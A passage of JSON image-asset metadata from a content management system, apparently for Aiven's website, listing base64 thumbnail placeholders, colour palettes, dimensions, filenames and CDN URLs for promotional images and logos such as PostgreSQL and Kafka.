5PLpdjeXmZbHaJYrGA7/vaN5/q2KIDVF7Ivftp+vv7GRwcZGZmhnQ6zdzcHFNTU4yMjJBKpTBNU/vhjhTmC0U9cHZ2Vg8UQmAYBqu5HAsLC1ql4zjPAtJWmJirX8cRCuX6hGFMFDf1fiUOrlwP1/X1I5Y4+/8suevYrh/rN9dNwk+cO4lN353/pJc49jPe5W4kiV1H3tr/eN+TwP8ATxoJ/G/cygEAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c2a57","foreground":"#fff","population":0.1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#14185d","foreground":"#fff","population":0.8,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#14185d","foreground":"#fff","population":0.8,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4accc","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a5d8f8","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c82ae","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d58a6c","foreground":"#000","population":0.06,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"aiven-for-ai-sql-optimization.png","path":"images/sczeoy4w/production/49003962fa2a8f11c66d9c74f1e59c825f6794f0-872x1220.png","sha1hash":"49003962fa2a8f11c66d9c74f1e59c825f6794f0","size":64636,"uploadId":"KvAoHZpDgPwIrsmiAwLKszB3WShKrqIM","url":"https://cdn.sanity.io/images/sczeoy4w/production/49003962fa2a8f11c66d9c74f1e59c825f6794f0-872x1220.png"} {"_createdAt":"2024-03-13T12:54:11Z","_id":"image-b004717a225c385aeb2fb56c4c20185277bea2ca-490x488-png","_rev":"2QvLnXP36WAnQ13A3non8K","_type":"sanity.imageAsset","_updatedAt":"2024-03-13T12:54:11Z","assetId":"b004717a225c385aeb2fb56c4c20185277bea2ca","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eHAB3GRO8^tSI9?wo~R4jYMxIUe,tmoes,Z}j]RjbctSxaoJWBRjRj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.0040983606557377,"height":488,"width":490},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFcElEQVQ4jV2Ue0xTVxzHf0VxooiPqIAD38jQ+LoFROUpRaCWR6Eg0NIH0N5SaKGlpS0FxhtpgfYCbWkJAkPHQ3G6KZvL3JIty5b944wm23T/7I/FP3SbZk6N4DnLqY3JdpJffjf3nvO539/rAMYYNoSsW5GRxY0RVamaaEPbFzWWcz+qTF3fqBosl6v1LTeqzd136lqt91utI7+19o8+retg/qaN3T+JlXXD2by8pD17dgdVJe+EEqEIgAA5nIwwiUqvkZoHfigyO5/kG13/yDrGnxrsFx/Ju8b/yDe6nvFN7hfy3umXhpGF5WrbzHJpi/e5yGx/INFYHDkFRUcAYAVh+ZagRBRfYeheKDC5XiSqnZhYSccFXGWbx1mNY/iYathnKfVuXPj+NK60XcKCtmmca/IgsbH/trBSJYre9e5aLcECQECpjM6WGG3fZTa4XlM0g5I0LiTrm0eVtkuIaxpHx2tGEKVw+CxD70XV9gVEDy6g3KZxXGa0/ypW1tdQB6JC5rWn3gK5YqPt+0ydC7FpBnP0XlQ3cg2ZvIuodugqErz/AYHik2onEnXPoNaJm8g89ikqbZ/CQuPA3bJKVfneiC1rTr4RCFAslCZLG/tucvWupVjlECYqVI4riB5YwPTgAq6wzuNU7ShO044ixcBlZB5bRDrXJ1jSObkkMfTcEpSWp5Mc+mAkkfxCwQFZQ8dUfqPzGckVp8GLZH1zKNcygfOaJ7G0b468w0l1LizunUWa4WuobvgqprvPP5HUNY9yuWeiCefnR68A8C+LwElPC5eoze0lpuGHieoRnN7gRdJzcyi3eRIRYHnPDFGH46uHEL9lChlGb6DOiUWk63XfK5bQ8pi9O9dLs+PhbJkQIGslwL4d29YIq2pFYvPgHY7WiVK1HiTpnUEK2xxSDlxC5T0zvkIdVTjQKZ0H6d3X8cjsZy9NHdYvc/iC0lg2tTXuRHJA+I6oNyGTwhQUl8bJ9F3zBUbXc9Iq8p4p3OaawecmryP10Ec4TefBR+V2lKh2oVrHFTx08fqrNivzQKnWjuXl8znhYWFBQYTUabXD47tfQXJS4hYRXV8nMQ/ck7a6nzf0uF52ObzLtvMLyOL5GPHM4762Ib2o6p9Z6vbM/tnW77pf32i5wC8ozAgOXrvaV5SjFOXzIasDVnDzCg+KlFpLZX3Th5rG5mvGtt6vLX0j9/T9E49zjN7XpAPStS5c1eZ+qGnqmq2q1WlLymWclNTUrQDAejsp7e0dvtCjo6PfSUlL255xOvMwLzc/gV9Ukimja7Xy5sFvsxucr3wtpXUisan/dnF5RXlE6KbNALCSMMI3hcD+g/5R6R+0w3sx++F/K4BsFsuqKEWLfZbX6H5xotaJzxhcSxUm6+dFZZJkogoAoElbDdHpZRA39tebk8HrQoDF8n37z0o5mQDqen1ETYutT9Tifphv9iwLLc7f5YZOe+HZ0n0EqBm6wtoWzwNKPgixymHfuUgA2AgAq/yqiK0KDAwkRQuMj49bX67Q5FUauqYrzdZbFYZOT5FCL0go0UUeljMbY2lHKKVwbKZoZh1FM4EEWAIARH40AOzwG/n7Ib/fGxoWFkvFHRMcT0yWspMz+YcFunRKbj/GpplYSuGIZ9NMIptmjrBphgiDagDgA0AWAGT6PQ8A8v0+x/9MPH/VhrAzUbyaTErhyKMUDi6lcBBYHptmeGya2U2AqaR7ACAJADgAQAY9AwBOA0AuAAgBoJAVEJDGYrE4QRvDkvfxahLYNJNOKRynKIUj1Q/LYtMMmwCJzGBSeQDYDgARftsJAORGEgBAAgCEkj1rQ3dFxAgaI9nKoQhK4YikFI5DJHQ2zcSwaSbqXy0kX2QsYKmaAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c3424","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0e456e","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bfbcb4","foreground":"#000","population":0.02,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bfbcb4","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#86b4e0","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5485aa","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c74bc","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-postgresql.png","path":"images/sczeoy4w/production/b004717a225c385aeb2fb56c4c20185277bea2ca-490x488.png","sha1hash":"b004717a225c385aeb2fb56c4c20185277bea2ca","size":50539,"uploadId":"ihxUdpj3RHcPuEbQVslO5rBMEz0lH0pa","url":"https://cdn.sanity.io/images/sczeoy4w/production/b004717a225c385aeb2fb56c4c20185277bea2ca-490x488.png"} {"_createdAt":"2024-03-22T16:27:35Z","_id":"image-2c211e2cc807a4228bf110a0ac2e01989eb0fb0f-1126x2121-png","_rev":"FsdEUX6qPquRWP6V14wYRu","_type":"sanity.imageAsset","_updatedAt":"2024-03-22T16:27:35Z","assetId":"2c211e2cc807a4228bf110a0ac2e01989eb0fb0f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"chIzAA,R9s249twG=XsrNFxZxaay9dfgxt","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.5308816595945309,"height":2121,"width":1126},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#493c26","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a43804","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fb7c0b","foreground":"#fff","population":4.64,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9c9cd4","foreground":"#000","population":0.06,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9b579","foreground":"#000","population":1.99,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a48c74","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb7c0b","foreground":"#fff","population":4.64,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"bg-pattern-left-3.png","path":"images/sczeoy4w/production/2c211e2cc807a4228bf110a0ac2e01989eb0fb0f-1126x2121.png","sha1hash":"2c211e2cc807a4228bf110a0ac2e01989eb0fb0f","size":111684,"uploadId":"42MHgOSAHVGGyeuB58kV09adLa1f5S8X","url":"https://cdn.sanity.io/images/sczeoy4w/production/2c211e2cc807a4228bf110a0ac2e01989eb0fb0f-1126x2121.png"} {"_createdAt":"2024-08-26T16:03:14Z","_id":"image-e9bf01d574aa0b7343b464ac83e9a4ea0e1ce9dd-1200x628-png","_rev":"vxdiygNMKB9xDhiP9e9nOY","_type":"sanity.imageAsset","_updatedAt":"2024-08-26T16:03:14Z","assetId":"e9bf01d574aa0b7343b464ac83e9a4ea0e1ce9dd","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MAC$gO0]Q,TO+Wx-Ow}N15ohMwI9O[-T$e","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACbUlEQVQokQFiAp39ABQcWCYtZTQ7bzc+dDg/dzc/ejc/fDlBgDxDhTxEiD1Giz5GjztFk0RPpExauUlVuF9TkZRlaMF5VNuGSQAXH1szOm5GTHxMUoNPVodNVIlMUopLUoxMU5BOVpNVXJlWXp1QWZ9WYKxbZ71PW7pTTZWAWm+nbF6xcloAGB9bNjxwR059UFaFVFuLVFqNVlyRUFeQSVCOUVmVWmKcVFycUlufW2WtX2q7Uly3S0WTb0pthlRjc1BvABgfWjQ7b0FIeUZNf05Uhk9WilFXjU5VjkdOjE1VklRcmVFYmVFZnlhgq1pkuFdcsmZJgotDUopDUmw+ZwAZIFs3PnFCSXlCSXtPVYdTWYxPVoxOVI5KUo9MVJJTW5hTW5tPWJ9QWapRXLlbXbSHU3izSTiqRDmJP1AAFRxZMjluREt7RUx+TVOFT1aJTlWMS1KNS1KOVFmTW12TTU6LQUeRSVKqVF+/XmPAe1iOo0tNokZHfUBhABAYVSYsZDtBdD9Gej5FfDxDfD5FgD9FhUVLiGRfjIJsgXhccF9PflZZq15oyGNszVxZs2BHkGFEjE1BmQARF1MiH1csLGMrMmsjLGoeJmgfJ2wgKHEqL3RbSm+ZaWGxclWeb210a6tpctJqdNZRXcQ6RrY3Q7c0QrcAExdSIhxTKCZdJCtmGiNjExxhFBxlFR5qHSNsTTxknGVT0H9IxoRli3uuc3zbcn3eVWHJN0a6MUG3MEC0AA8WUxMYVBYcWBYeXRQdXxQcYhUdZRYfahkhbzw0aZJhVtyGRdWNY5WCsnmD4niC5Vpm0DhHuzA/tC49sP8P4tjpd5QKAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2e2d64","foreground":"#fff","population":0.78,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#08046e","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7f87e3","foreground":"#fff","population":1.75,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8f98c2","foreground":"#000","population":0.87,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f87e3","foreground":"#fff","population":1.75,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#505d9e","foreground":"#fff","population":0.64,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e34e11","foreground":"#fff","population":0.97,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Kafka Tiered Storage.png","path":"images/sczeoy4w/production/e9bf01d574aa0b7343b464ac83e9a4ea0e1ce9dd-1200x628.png","sha1hash":"e9bf01d574aa0b7343b464ac83e9a4ea0e1ce9dd","size":294995,"uploadId":"fWwVq0dyc4wQPnCVpCZZOQPVbiqJ9nkr","url":"https://cdn.sanity.io/images/sczeoy4w/production/e9bf01d574aa0b7343b464ac83e9a4ea0e1ce9dd-1200x628.png"} {"_createdAt":"2024-04-17T08:00:36Z","_id":"image-55af2a3fc653799bf33ba355689c4daac09e9ec7-1200x628-png","_rev":"gISMlFyvjb1wfLPmZZhSAN","_type":"sanity.imageAsset","_updatedAt":"2024-04-17T08:00:36Z","assetId":"55af2a3fc653799bf33ba355689c4daac09e9ec7","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M9Aclz5$ki@@0%}ZGGI[;0BW9NM[jLxvoZ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACo0lEQVQokVXOXU9aBwCA4fMTqq2gQwQOIAIFlG9bUXr49vB5jtLWaSuVfliL0WpBppR1UIHpyrZsWbIl28WyNL3ZmqZ/oX+il/0j72J61Yv39skrjI6rGCzrzHge4PTt4Ars4Q4eYPM8xWjfw2A7wOhoIF49RnS18bvrfHstzYeUyH9Kjnr1L25u/stS5k/sgd8QxiZv4px7SCReR8qccCPdIppqs5h8QSTRIRI/ZSHRZyl9zmJqiCod8XcszKfsCB/UEM3VfUq5fSSpjt33A4Jm6jZz4Sek88/Jr3TIFDuk812WS31k5RxZHRKTz5mX+oSiZ6xGD3kdD/BR1vA+4+aRtEwpLpO+sYXd20PQTq3hDddI5Vrk1M9gKtclXeiRLnyPrAyJJPpYPS2m7CdEZ2v8FFnkfcJGR/KTjSeQCwWS8mMcwcHF4Rq+a7ssl9oot04plHvk1Iu7AbJyxnLpFfPSKSbnN4ybm/gcexyG83SjIXKxCAG1SKp6h8TXe1xdHCCM6W/jna+RKbYprHbJqS/JKj0yxT7J/ICF+Cl27wmT0w0mLE1mnMesLDxlLVYmmEiytLlOpVHj1uMG3tgAYWSijMl+D0/wCZ7QLrOhfebmnzEbbuAKHGF1NdBZDxg3P2PC3MTifklS/oNyuU+2eJfK9jbNF8ds1FrMSn2ESxqFr3SrGMR19JYKE6Z7aA1baI0P0Rp30Jp20Zr2P4OWJmZ3j1jhDRvVd1TuvuJR9ZCdgzqZzRa26wOEy5oSVr2Cc2aDadcDdOYtRnUVRnVVrui30Ri+BI2O7/Av/U5m5S2y+g+xbJdI6Qh3qoPoHyKMaErodQomcQ3DdIVxU4XLkxfdZ2xqG43xS3DS1kZ09bH7f8YR/BWrb4joP0P0/Yjo+YX/AQLxfkt1fvqjAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2d2c66","foreground":"#fff","population":0.87,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041176","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ccccd6","foreground":"#000","population":7.76,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccccd6","foreground":"#000","population":7.76,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6e79d6","foreground":"#fff","population":4.14,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7f9cb4","foreground":"#000","population":0.86,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e35213","foreground":"#fff","population":4.12,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Workshop-LangChainOpenSearch-Jay (1200x628).png","path":"images/sczeoy4w/production/55af2a3fc653799bf33ba355689c4daac09e9ec7-1200x628.png","sha1hash":"55af2a3fc653799bf33ba355689c4daac09e9ec7","size":343219,"uploadId":"MoEux5mrJ9AyMjK30954U4gaTRoYwWOB","url":"https://cdn.sanity.io/images/sczeoy4w/production/55af2a3fc653799bf33ba355689c4daac09e9ec7-1200x628.png"} {"_createdAt":"2024-04-17T08:03:32Z","_id":"image-7d1de475997ff4272d799f0c0ad0985529070e3a-1200x628-png","_rev":"gISMlFyvjb1wfLPmZZjOpT","_type":"sanity.imageAsset","_updatedAt":"2024-04-17T08:03:32Z","assetId":"7d1de475997ff4272d799f0c0ad0985529070e3a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M4A0Iy3t]?u%0=?rO_[R17}98w4?$b%hxu","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACnUlEQVQokUXRW0+SAQDGcT5BWyAgcoaXXl9fkIOhEKAoKChy8MVj55OZWWSeSBJdSYLpdLNmW4eb5tpaF3Xh2jp8ge76Rv+WXnTx3P72PHtU6uYiVuEyrd47yB1zeILztHcuInoXsEnzWMVFbG1lHO4nOD0bWKUqzfaHaMyzyNI9yqkCny91Ussp9ISeotKaJpD9M8SSK/QNrtGbrhJPbdA98JRY/yax5BbR/gY9qV26U/v4wjUMjjnUxmmC8k1eFiL8mbHwYbKbfGwFlc4yhT90n3RundzoJoOFTdK5GkMjDTLKLpniPonMLuG+Bl3xHTydz05AjWkGtzRHOV3k67Uou6PjJCPPUOktFwmEHpDKVskWT8FUtkY6Xyedf0FG2SfW38DlrWKV1jCLFXS2ElprCatYpSeyzaXMHtmBQ9q73p6CHRdKZEY2UCa3yI/XyY7+a7dNRtlhaGSPcN8WdrmCwbmKQVjF4FigxbGEra2OO/yRYOI7gfgxUtcRKq15Cn/4AYP5dXJjNYaLzxlW6gwWGgzktokmt5ACa5jOlWkRKjjEMhH5Ltn2awx0lAnFjjif/IU//u0UPGsYQ5BunswOhOfxhxbwh5fxhcp4go9xecoYXYsYnMs0CxXapUWWu4b53Otlr7dAvvc1weTP/6Bap2A3jyGKVxHkaUyu2+ht/zKD3jaH3l5Cb3+Ewbl0AvraHlGPJPidsnLUn2C874Bg4ge+nmNaOz+g0uhGEEwKbeIVXO5pWpy3UBuvozbepsk8i856CjY7lzEIFdzSErPBMQ5icVaiV0hEX+GNfUEOf8IVeIfqjFZBoy+iM06gs1ymyXQVjfEGTeZptJbZk0f/g6s4xVUueOZJ+UpEfFVk/wHnOt4jBN7g8B7yF7x2d5Y9UInpAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e4572","foreground":"#fff","population":1.32,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041f7a","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d16432","foreground":"#fff","population":8.06,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8b96b8","foreground":"#000","population":0.2,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e5ebf7","foreground":"#000","population":4.58,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6b668d","foreground":"#fff","population":2.22,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d16432","foreground":"#fff","population":8.06,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Workshop-LangChainOpenSearch-blank (1200x628).png","path":"images/sczeoy4w/production/7d1de475997ff4272d799f0c0ad0985529070e3a-1200x628.png","sha1hash":"7d1de475997ff4272d799f0c0ad0985529070e3a","size":164605,"uploadId":"WepU5aPsBoR34DyK1pO6iJY9ZwN4CrQL","url":"https://cdn.sanity.io/images/sczeoy4w/production/7d1de475997ff4272d799f0c0ad0985529070e3a-1200x628.png"} {"_createdAt":"2024-04-17T08:05:37Z","_id":"image-6b0b46c487ca553ab979fd65a87d2577b271fb4f-1200x628-png","_rev":"7x4zrWmlpMKd7WWV0UD4Hn","_type":"sanity.imageAsset","_updatedAt":"2024-04-17T08:05:37Z","assetId":"6b0b46c487ca553ab979fd65a87d2577b271fb4f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M77BBN~JRhE0WDtTk9R%bIog4:9an~%2oH","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACVklEQVQokT2STVPaUABF8wu6aMUkQDAJJCFI+BCkIGOrTm3H6aIz2O/SOoNWrCIoCAgiiG21jluX7W89nbxpXbx5q3dy7r2RZiMfiWd2yS+1yJaOsFMH6PF9zEQTy+tgp0+xM0Oc7BgnOyXqXaI5Y9TYACXaE3fQOkONnSKbJ0iqUSXzuEF5rUdptUe+3CVX7lN4MqK4ckFp9QfF1StKazcUV29JFq6Zcyeo0T5KtE/IOifsTAnZY4LWCCmgfcBKbpPM7eFm93HShyQW2uSWBhSWx2SKY5KFCfOLU9zcd6LelLB9hmJ2UaOnhJ1LtPiVOJHEL6SgWaVc3uX5Wh0vs4Os13C8Bu82L6lVbygtj9GcLkGrR8gaing+TNaPxR36Z6jFfzKXuEVyvG3qn/tcNM/ZeHGMYtTIF9vcDO74ff2HzcoNWryHYp4QjA1FZ7JxzOxcE9lo3/cYsidE3Gsk3d7izas2zdo56+sdNOsrXq5FY+eW0dEdGy+vsdID5tw+YXsgupP1IwFUzI6AqTHffCTiS7Pae9ILuyw/bYmlLW+fWLJBcXnAyrMp+fKE+fyQmNcjbHWFqQDqLQEP2RMxiA9VrSFSQH2Da1dZWKiTLhwSzzSwU02S+S7JxQF2qo/uHhOKNpD1w3uYH9uvwLfygX502ewgPZIrxCKvmXe3cFJ1DLeOmTjASbexUydEnDay3mBGqxOIfGNWbwqob/p/EH8o/x/0PyI9CFR4KFcIBN8S0D4xE/5CQKuhGHuoZgPFaAmIDwtE9sUj2egII9/Mjyx6NdtipL8tLGJlh84nAAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#353974","foreground":"#fff","population":0.57,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141c6d","foreground":"#fff","population":11.1,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141c6d","foreground":"#fff","population":11.1,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d1c2cb","foreground":"#000","population":5.9,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7881c1","foreground":"#fff","population":0.41,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#676e9c","foreground":"#fff","population":2.31,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d2886","foreground":"#fff","population":8.47,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Customer case event promo image template Dark 